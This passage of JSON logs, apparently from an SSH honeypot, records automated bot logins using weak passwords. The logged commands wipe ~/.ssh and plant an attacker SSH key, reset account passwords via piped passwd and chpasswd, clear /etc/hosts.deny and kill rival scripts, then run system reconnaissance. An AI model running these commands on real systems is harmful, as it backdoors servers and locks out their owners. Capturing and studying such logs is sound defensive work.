GNU/Linux"},{"seq":29,"at":"2026-08-26T14:09:32.824417+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T14:09:33.642585+00:00","kind":"output","latency_ms":null,"data":"stperez"},{"seq":31,"at":"2026-08-26T14:09:33.939903+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T14:09:34.765145+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T14:09:35.058874+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T14:09:35.917337+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"stperez","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"1b9e8d55-648a-41b2-a2ac-7056ee611d05","name":"snowy-twilight-kiwi","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":54288,"username":"stperez","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:09:12.646812+00:00","ended_at":"2026-08-26T14:09:14.293088+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"stperez","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a623191c-1ee7-4976-81ff-dc9b9f0c0cfe","name":"distant-early-turnstone","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":54276,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:09:10.853095+00:00","ended_at":"2026-08-26T14:09:12.059586+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"aaa9f130-70a8-4358-ae68-b8e76e8598cc","name":"blunt-gloomy-mallard","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":65004,"username":"gpadmin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":301,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:07:32.660122+00:00","ended_at":"2026-08-26T14:07:33.692080+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2208,"events":[{"seq":1,"at":"2026-08-26T14:07:04.133953+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:07:04.434104+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:07:08.281681+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:07:09.439455+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:07:09.745926+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nuJ5C5RWkEhIT\\nuJ5C5RWkEhIT\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:07:10.044425+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nuJ5C5RWkEhIT\\nuJ5C5RWkEhIT\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:07:10.343834+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:07:10.552411+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:07:11.733536+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T14:07:12.034740+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T14:07:12.147508+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T14:07:12.930849+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:07:13.232754+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T14:07:15.302531+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T14:07:15.604782+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T14:07:17.230709+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T14:07:17.534531+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T14:07:18.956096+00:00","kind":"output","latency_ms":null,"data":" 14:07:18 up 6 days, 10:57, 0 user, load average: 0.2, 0.17, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T14:07:19.256659+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T14:07:20.661952+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T14:07:20.962620+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T14:07:22.933177+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T14:07:23.232897+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T14:07:24.145569+00:00","kind":"output","latency_ms":null,"data":"top - 14:07:24 up 6 days, 10:57, 0 user, load average: 0.2, 0.17, 0.24\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T14:07:24.454112+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T14:07:26.398952+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T14:07:26.699181+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T14:07:28.401884+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T14:07:28.708437+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T14:07:30.658349+00:00","kind":"output","latency_ms":null,"data":"gpadmin"},{"seq":31,"at":"2026-08-26T14:07:30.956732+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T14:07:32.362471+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T14:07:32.660907+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T14:07:33.601694+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"gpadmin","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"0e9010ee-fdf3-4d40-84c9-4b2e89d5f90c","name":"cobalt-hollow-vervet","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":65024,"username":"gpadmin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:07:06.815109+00:00","ended_at":"2026-08-26T14:07:08.194338+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"gpadmin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"40802eac-418b-4111-a30a-061e584f32ff","name":"glacial-foggy-dotterel","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":65016,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:07:05.095776+00:00","ended_at":"2026-08-26T14:07:06.216341+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2489171e-e757-466b-9b39-4c81f7353a5f","name":"wooded-brisk-coyote","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":56130,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":285,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:05:33.591848+00:00","ended_at":"2026-08-26T14:05:35.149922+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2206,"events":[{"seq":1,"at":"2026-08-26T14:05:03.409473+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:05:03.694929+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:05:07.886368+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:05:09.632605+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:05:09.921183+00:00","kind":"input","latency_ms":null,"data":"echo -e \"testpassword\\nk2ZYZj2yi6Dd\\nk2ZYZj2yi6Dd\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:05:10.204682+00:00","kind":"input","latency_ms":null,"data":"echo \"testpassword\\nk2ZYZj2yi6Dd\\nk2ZYZj2yi6Dd\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:05:10.489047+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:05:11.767599+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:05:11.837377+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T14:05:12.587590+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-26T14:05:12.873831+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T14:05:14.194382+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:05:14.480832+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T14:05:15.874939+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T14:05:16.219827+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T14:05:18.151232+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T14:05:18.436814+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T14:05:20.230248+00:00","kind":"output","latency_ms":null,"data":" 14:05:20 up 6 days, 10:55, 0 user, load average: 0.12, 0.09, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T14:05:20.515012+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T14:05:22.154569+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T14:05:22.440677+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T14:05:23.501147+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T14:05:23.787564+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T14:05:24.752994+00:00","kind":"output","latency_ms":null,"data":"top - 14:05:24 up 6 days, 10:55, 0 user, load average: 0.12, 0.09, 0.1\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T14:05:25.038467+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T14:05:27.186384+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T14:05:27.471085+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T14:05:29.227235+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T14:05:29.511907+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T14:05:31.224899+00:00","kind":"output","latency_ms":null,"data":"test"},{"seq":31,"at":"2026-08-26T14:05:31.510303+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T14:05:33.306814+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T14:05:33.592544+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T14:05:35.065840+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"test","password":"testpassword","method":"password","accepted":true,"tier":"other"}]} {"id":"10af6320-60f0-4525-a6eb-41a3a0db32f8","name":"jaunty-lanky-dipper","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":56382,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:05:06.279074+00:00","ended_at":"2026-08-26T14:05:07.802007+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"test","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"03576323-faa4-493f-96a7-66e9432ae525","name":"tawny-breezy-siskin","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":56380,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:05:04.357311+00:00","ended_at":"2026-08-26T14:05:05.718512+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e2b4b756-6462-49fb-ae83-fbcb35286ae4","name":"honest-icy-snipe","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":52380,"username":"ehsan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":298,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:03:29.803087+00:00","ended_at":"2026-08-26T14:03:30.720604+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2184,"events":[{"seq":1,"at":"2026-08-26T14:03:04.674917+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:03:04.972173+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:03:08.946367+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:03:09.758431+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:03:10.056742+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ehsan\\nIpiHijj8xabJ\\nIpiHijj8xabJ\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:03:10.347618+00:00","kind":"input","latency_ms":null,"data":"echo \"ehsan\\nIpiHijj8xabJ\\nIpiHijj8xabJ\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:03:10.646064+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:03:11.476930+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:03:11.553704+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T14:03:11.798593+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-26T14:03:12.099376+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T14:03:13.692411+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:03:13.991203+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T14:03:14.833991+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T14:03:15.135949+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T14:03:16.979271+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T14:03:17.280360+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T14:03:18.642386+00:00","kind":"output","latency_ms":null,"data":" 14:03:18 up 6 days, 10:53, 0 user, load average: 0.22, 0.21, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T14:03:18.937632+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T14:03:19.869275+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T14:03:20.164767+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T14:03:21.793161+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T14:03:22.090775+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T14:03:23.009088+00:00","kind":"output","latency_ms":null,"data":"top - 14:03:23 up 6 days, 10:53, 0 user, load average: 0.22, 0.21, 0.14\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T14:03:23.307017+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T14:03:24.715135+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T14:03:25.009596+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T14:03:25.946917+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T14:03:26.242861+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T14:03:27.250196+00:00","kind":"output","latency_ms":null,"data":"ehsan"},{"seq":31,"at":"2026-08-26T14:03:27.546939+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T14:03:29.506915+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T14:03:29.804081+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T14:03:30.634021+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ehsan","password":"ehsan","method":"password","accepted":true,"tier":"other"}]} {"id":"9695177d-5c53-468a-8c9b-de9dac64ff8c","name":"keen-stoic-gibbon","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":52394,"username":"ehsan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:03:07.555709+00:00","ended_at":"2026-08-26T14:03:08.857895+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ehsan","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"81c3f661-24dd-42a7-a45d-3ba38cea55ad","name":"golden-rustic-roebuck","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":52386,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:03:05.649794+00:00","ended_at":"2026-08-26T14:03:06.977166+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9b420018-126a-46e8-b24f-51c87043de91","name":"autumn-amiable-serval","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":62728,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":272,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:01:35.432864+00:00","ended_at":"2026-08-26T14:01:36.957850+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2227,"events":[{"seq":1,"at":"2026-08-26T14:01:08.092881+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:01:08.364525+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:01:11.976604+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:01:13.953395+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:01:14.226872+00:00","kind":"input","latency_ms":null,"data":"echo \"root:AT1MZPO8iupu\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:01:14.499443+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:01:14.771701+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:01:15.635462+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:01:15.761224+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T14:01:15.908891+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T14:01:17.857861+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T14:01:18.130720+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which 